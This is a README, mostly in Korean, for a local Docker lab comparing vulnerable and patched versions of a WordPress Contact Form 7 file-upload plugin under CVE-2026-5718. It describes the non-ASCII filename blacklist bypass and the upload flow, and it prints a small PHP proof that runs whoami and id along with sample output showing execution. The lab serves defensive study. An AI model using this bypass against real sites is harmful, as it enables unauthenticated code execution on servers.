
Local Docker lab demonstrating CVE-2026-5718 arbitrary file upload in a WordPress plugin, with vulnerable and patched services for side-by-side exploitation and defense analysis.
CVE-2026-5718에 취약한 버전과 패치된 버전을 로컬 전용 Docker 실습 환경에서 비교합니다. 이 취약점은 WordPress 플러그인 Drag and Drop Multiple File Upload for Contact Form 7에 영향을 미칩니다.
이 실습은 취약한 버전 1.3.9.6과 패치된 버전 1.3.9.7의 차이를 최소 피해 PHP 실행 증명(PoC)을 통해 Docker 전용 환경에서 보여줍니다.
범위: localhost / Docker 네트워크 전용. 본 PoC를 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 사용하지 마십시오.
CVE-2026-5718은 Drag and Drop Multiple File Upload for Contact Form 7 플러그인 버전 1.3.9.6까지의 임의 파일 업로드 취약점입니다.
이 문제는 사용자 정의 블랙리스트 유형이 설정되고 파일 이름에 비ASCII 문자가 포함될 때 발생합니다. 취약한 버전에서는 위험한 .php 업로드가 의도된 보호를 우회하고 실행 가능한 상태로 남을 수 있습니다. 버전 1.3.9.7은 동일한 업로드를 거부하여 문제를 해결합니다.
이 저장소는 두 개의 로컬 WordPress 서비스를 실행합니다:
vuln - http://localhost:8081에서 플러그인 버전 1.3.9.6 사용patched - http://localhost:8082에서 플러그인 버전 1.3.9.7 사용Host
├── http://localhost:8081 -> 취약한 WordPress 서비스
└── http://localhost:8082 -> 패치된 WordPress 서비스
Docker 네트워크
├── vuln
├── vuln-db
├── patched
└── patched-db
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
시드된 Contact Form 7 양식에는 Drag and Drop Multiple File Upload 필드가 포함되어 있습니다:
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
PoC는 다음과 같은 이름의 PHP 증명 파일을 업로드합니다:
proof-β.php
β 문자는 비ASCII입니다. 이는 취약점이 비ASCII 입력에 대한 파일 이름 처리에 의존하기 때문에 중요합니다.
높은 수준의 흐름:
PoC
↓
실습 페이지를 가져와 DnD CF7 AJAX nonce 추출
↓
wp-admin/admin-ajax.php를 통해 proof-β.php 업로드
↓
취약한 1.3.9.6이 이를 수락하고 .php 파일로 저장
↓
PoC가 업로드된 파일 요청
↓
취약한 실습이 PHP 증명을 www-data로 실행
패치된 흐름:
PoC
↓
동일한 proof-β.php 파일 업로드
↓
패치된 1.3.9.7이 업로드 거부
↓
PHP 파일이 저장되지 않으며 코드 실행 없음
업로드된 PHP 증명은 의도적으로 최소화되었습니다:
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
증명은 실행 컨텍스트를 보여주기 위해 whoami와 id만 실행합니다. 리버스 셸, 지속성, 자격 증명 접근, 측면 이동, 네트워크 스캔, 파괴적 작업을 사용하지 않습니다.
취약한 서비스는 로컬 실습에서 영향을 관찰할 수 있도록 의도적으로 플러그인 업로드 디렉터리에서 PHP 실행을 허용합니다. 패치된 서비스는 더 안전한 동작을 유지하며 애플리케이션 검증 계층에서 업로드를 거부합니다.
Python 종속성 설치:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
깨끗한 상태에서 시작:
docker compose down -v
docker compose up --build -d
서비스 상태 확인:
docker compose ps
실습 페이지 열기:
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
취약한 서비스에 대해 실행:
python poc/poc.py --base-url http://localhost:8081
패치된 서비스에 대해 실행:
python poc/poc.py --base-url http://localhost:8082
PoC는 localhost 또는 loopback 대상만 허용합니다.
예상 동작:
.php 파일로 유지됩니다.예시 출력:
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
예상 동작:
예시 출력:
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
이 실습은 의도적으로 로컬 테스트로 제한됩니다.
PoC:
whoami와 id만 실행합니다.취약한 서비스는 로컬 증명을 관찰 가능하게 만들기 위해 업로드 디렉터리의 PHP 실행만 완화합니다. 해당 구성을 프로덕션에 복사하지 마십시오.
컨테이너 중지:
docker compose down
컨테이너 및 볼륨 제거:
docker compose down -v
Python 가상 환경 제거:
rm -rf .venv
NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
Patchstack 어드바이저리: WordPress Drag and Drop Multiple File Upload for Contact Form 7 Plugin <= 1.3.9.6 - 비ASCII 파일 이름 블랙리스트 우회를 통한 인증되지 않은 임의 파일 업로드 https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability
Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - 비ASCII 파일 이름 블랙리스트 우회를 통한 인증되지 않은 임의 파일 업로드 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass
GitHub Advisory Database: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w
WordPress.org 플러그인 페이지: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
플러그인 공급업체 페이지: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/
이 저장소는 교육 및 방어적 보안 연구 목적으로만 제공됩니다. Docker를 사용하여 localhost에서만 실행되도록 설계되었습니다. PoC를 공용 시스템이나 제3자 시스템에 사용하지 마십시오.
| 서비스 | 용도 | 호스트 포트 | 버전 |
|---|
vuln | 취약한 WordPress 실습 | 8081 | 플러그인 1.3.9.6 |
patched | 패치된 WordPress 실습 | 8082 | 플러그인 1.3.9.7 |
vuln-db | 취약한 서비스용 MySQL 데이터베이스 | 내부 | MySQL 8.0 |
patched-db | 패치된 서비스용 MySQL 데이터베이스 | 내부 | MySQL 8.0 |